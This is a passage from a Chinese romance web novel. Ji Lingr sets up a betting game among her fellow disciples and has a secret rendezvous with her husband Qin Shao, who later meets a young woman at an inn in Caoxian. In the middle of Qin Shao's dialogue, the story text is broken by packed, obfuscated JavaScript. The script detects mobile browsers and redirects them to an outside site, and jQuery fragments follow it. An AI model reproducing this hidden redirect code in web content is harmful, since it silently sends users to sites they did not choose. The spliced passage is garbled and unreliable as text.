林起眼看着季灵儿满脸惊喜僵成尴尬，笑问：“小师弟把我当成谁了？”
“没谁。”
她不说，林起心中自有答案。
“我本是叫云衡一道来的，不过他说身体不舒服，让咱们看着商定。”
季灵儿大抵明白他的病因，只问：“商定什么？”
林起：“眼下有师父在师弟们不敢偷懒，但此非长久，咱们得想个法子调起大伙的积极性。”
虽说此次历练考核虽只依个人表现定夺，可若失了大伙协助，留下肯做事的人也是逆水行舟。
的确是亟待解决的问题。
季灵儿略一思忖，拊掌道：“我想到了！”
林起知她点子多，但这想出对策的速度仍令他意外，“洗耳恭听。”
季灵儿：“咱们不妨分出三组，每三日结算各组盈利，败组匀出一成收益归胜组。”
林起：“此法虽好，可若大家不愿配合，亦不能强求。”
季灵儿想了会儿，说：“师兄看这样如何，还是分组算盈利，不过改成赌局形式，各自下注赌认为能赢的一组，赢者可分得彩头，输的也不罚，只当图个乐子。若下注到自身所在组，赢则加倍得利，输则如常，如此只要有人参与下注，便能撬动大伙的兴致。”
赌桌上最不缺劲头，此法听起来可行，但林起仍有顾虑：“师父严令禁止过，不许咱们涉赌，更不许设赌局。”
季灵儿拨弄着桌上的蜜罐子，唇畔勾起狡黠：“咱是为激发师兄们的劲头，算不得赌......回头先生真问责，师兄全推到我身上便是。”
林起知她耍小聪明，眼下无更好的法子，思索片刻后应下。
待他离开，季灵儿拆了蜜罐子，指尖沾了一点含进口中，甜意漾开，暗诽某些人没口福。
正哼着不成调的小曲等水烧开，门响了。
似是有人从外推一把没推开，转而轻轻叩了两下。
拉开门扉，这回出现在视线中的，是秦劭。
“你没走？”她声音里透着藏不住的雀跃。
“去给你备吃的了。”
季灵儿这才注意到他手里捏着厚棉布，说完话蹲身端起地上冒着热气的汤瓮。
连忙侧身让路，关门时还不忘探头往外张望。
秦劭掀开瓮盖，乳白色的汤汁蒸腾起诱人的鲜香。
季灵儿咽着口水凑过去，看清里面的确是鱼，好奇道：“哪里来的鱼？”
总不能是下河捞的，这时节河中应当没鱼。
“去镇上买的。”
离此处最近的镇唯有她们卖货的那处，季灵儿警觉起来：“你去暗中考察我们？”
“......”秦劭想把她脑袋撬开，无奈道：“专程去买鱼。”
有甜意淌入心房，悄然燎了心尖，非百花蜜的回甘，非鱼汤的香气。
季灵儿反复揣摩滋味，进一步确认来源，盈盈抬眼问：“那这汤？”
“我煲的，还有问题吗？”他目光染了烛光的暖意，温和中藏着勾人亲近的浅笑。
他每每有坏心思便这样笑，像狐狸骗兔子时假惺惺的问好，季灵儿顷刻读懂，这人羞于说，却想引她问，是否专程为她煲的汤。
她才不上当。
歪着头，好整以暇打量他，侃道：“真是你自己煲的？横看竖看都不像会下厨的派头嘛。”
“我没必要诓你。”秦劭失笑摇头，将汤勺转到她面前：“快喝吧。”
“你用过了吗？”
“用过了。”他说，忖了须臾，补充道：“晚膳用过，汤是专程给你熬的。”
最平淡不过的语气，偏在她心海里砸起浪花，荡出的涟漪皆泛着方才的甜意，一圈比一圈馥郁。
她同样淡然地“哦”一声，舀一勺吹凉送入口中，味道鲜香不腻，很是可口。暖意随着汤汁融入四肢百骸，弯着笑眼，把煲汤的手艺夸得天上有地上无。
“只说的好听？”秦劭挑眉，不满足于这些。
“夫君尝尝。”季灵儿很会卖乖，从善如流地软软接一句，舀汤喂到他唇边。
看他低头含住汤匙，忽然想起什么：“既是你自己煲的，为何要从外头端回来？”
秦劭噙着满嘴汤汁回身，半晌不语。
季灵儿：“被我说中，心虚了？”
秦劭眼中浮起兴味，反将话问回去：“你想让我明目张胆在你屋里炖鱼汤？”
季灵儿一怔，想起此景被旁人瞧去的后果，顿时红了耳根，讪讪回道：“当我没问”。
她显然不打算将二人关系挑明。
秦劭屈指扣在膝盖上，极轻地哼了哼：“小没良心。”
季灵儿不服气地努嘴：“我今日去镇上还惦记着给你带百花蜜呢，哪里没良心？”
秦劭早注意到桌上蜜罐，原以为是她贪甜买的，闻言一口没喝已甜到心坎里，精准捕捉到话中重点：“你白日去镇上还想着我？”
季灵儿压下唇角小小的弧度，埋头专注喝汤，任他怎么问都不肯抬头了。
...
次日一早，林起将众弟子召集在一处说明想法，作为发起者，他与云衡、季灵儿三人各带一队，让大家自行选择跟随，人数不均再酌情调配。
弟子们对此法子没甚异议，倒是不少人生出和林起一般的顾虑：“师父可在呢，这般下注真没问题吗？”
林起看向季灵儿。
季灵儿提出想法时以为秦劭回去了，知道人没走，底气委实不如昨日足。
然而到了这一步，打肿脸也得撑足场面，“无妨，咱们是忙正事又非寻乐子，先生深明大义，不会计较这些的。”
不必去镇上，交代完安排众人各自散去，季灵儿回到屋里，深明大义的先生还悠闲躺在炕上。
季灵儿仔细挂好门栓，又检查窗棂是否遮严实，揣着小心思蹭到炕边坐下。
秦劭纳罕看完她一套动作，自觉往里挪了挪，留出半边暖位，嗓音懒懒：“再睡会儿？”
他显然误会了，季灵儿臊得满脸红又不便解释，索性豁出那点子羞怯，凑上去在他微启的唇上落下一枚轻吻，低声唤：“夫君。”
无事献殷勤，看来是有话说，秦劭疑惑转为了然，手肘挣着支起半身，等着她下文。
“夫君不忙吗？”
“不忙。”
“商行和府里定然都需要你坐镇，该回去看看的。”季灵儿不死心地劝道。
秦劭伸手勾开她交叠的指尖，握进自己掌心，慢条斯理道：“商行有其他当家和管事，府里有祖母和母亲，出不了乱子，但这里就——”
季灵儿抢道：“这里更出不了乱子了，你都看到了，林师兄带领我们做的很好。”
“的确。”秦劭点点头，似是认同她的话。
季灵儿趁热打铁：“所以你不必日日守着的。”
秦劭良久不吱声，忽而松开她的手叹息：“是你嫌我碍眼？或是怕我待着被人撞破？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511229|184104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
季灵儿再三衡量，选了自以为最后果最轻的理由：“的确不太方便，教师兄们撞见了不仅处境尴尬，日后你管教起来也作难，稍有不如意师兄们该揪着此事说你偏私于我，于你威名有损......”
真的假的掺杂一通，说的头头是道，险些连自己都要信了这份替他考虑的“真心”。
秦劭仰头，近距离盯着她忽闪的眼睛，气息挤在两人鼻尖：“当真是为我？”
季灵儿重重眨了眨眼，以表诚心。
秦劭低笑出声，目光暧昧向下，“那——亲我一下。”
说是一下。
结果同师兄们一起送他出村子时，整张嘴都是红的。
遭师兄关心，扯谎说喝热水烫着了。
马车刚消失在视线里，季灵儿便开盘口，广邀众人下注。
被闷在村子里小半月，外出亦为了卖货，弟子们早憋出满身躁动，虽说赌局是劳作，总归算一项乐子，纷纷围过来凑热闹。
为保公平，此次押注匿名进行，三位带队者负责记录不参与押注，清算下来，林起带队的组下注者最多，云衡和季灵儿不分伯仲。
秦劭回吉安当晚，管事递来的信儿就跟到了，将赌局情形述得一清二楚。
他看完信只淡淡一笑，对送信管事道：“暂且随他们去。”
管事乃商行老人，很明白他“暂且”两字的意味，悄悄替尚在兴头上的弟子们捏了把汗。
没了季灵儿的主屋格外冷清，秦劭独坐灯下翻书，竟半晌凝不住思绪，揉了揉眉心，唤玉秀进来。
“明日我要去曹县的铺子，到了曹县没有不去看岳丈的道理。”
秦劭说到此处顿住，捻着扳指似在思索。
“大爷的意思是......要去宋家？”玉秀紧张地声音发颤。
秦劭掀眼扫过她，神色如常道：“估摸我脱不开空，你跟着去，将我备下的礼送去岳丈府上，算表了我与少夫人的心意。”
玉秀悄然松一口气，勾头应是。
秦劭又问：“曹县可有少夫人喜爱的酒楼？我明日去尝尝。”
玉秀自然不知季灵儿爱哪家酒楼，随口报了最有名的一处。
翌日一进曹县，玉秀便听吩咐带着送礼的小厮往宋府去，秦劭径直往城南办事。
至午膳时分，特意拐到玉秀所说那家酒楼，选了二楼临窗的位置落座，点几样招牌菜，边吃边欣赏街边风景。
日头正暖，照着街上人来人往，是再寻常不过之景，他却看的颇有滋味。
用过膳下楼往外走，抬步过门槛时，恰与一迎面进来之人撞了满怀，对方是位纤弱女子，步履不稳，幸得他伸手托住手臂才未摔倒。
原举在她手中的糖画砸进他怀里，随即跌碎在二人脚边。
缕金百蝶穿花的云缎裙荡着细碎阳光，发间步摇铃铃晃响，半含羞涩地抬眸与他相对。
“抱歉，弄脏公子的衣襟了。”
秦劭压眉看向身前琥珀色的糖丝，淡声道：“无碍。”
女子却取出绣帕欲替他擦拭，秦劭侧身避过，“不劳姑娘。”
捏帕子的手尴尬垂回身前，端着笑意又道：“公子这身衣裳瞧着华贵，小女子请公子另置一件新衣，可好？”
“不必。”秦劭冷清拒了，抬步欲走。
“那请公子赏脸喝杯赔礼酒罢，”女子略错身迎上，铁了心拦他，仰面将满脸歉意送进他眼底，“否则实在过意不去。”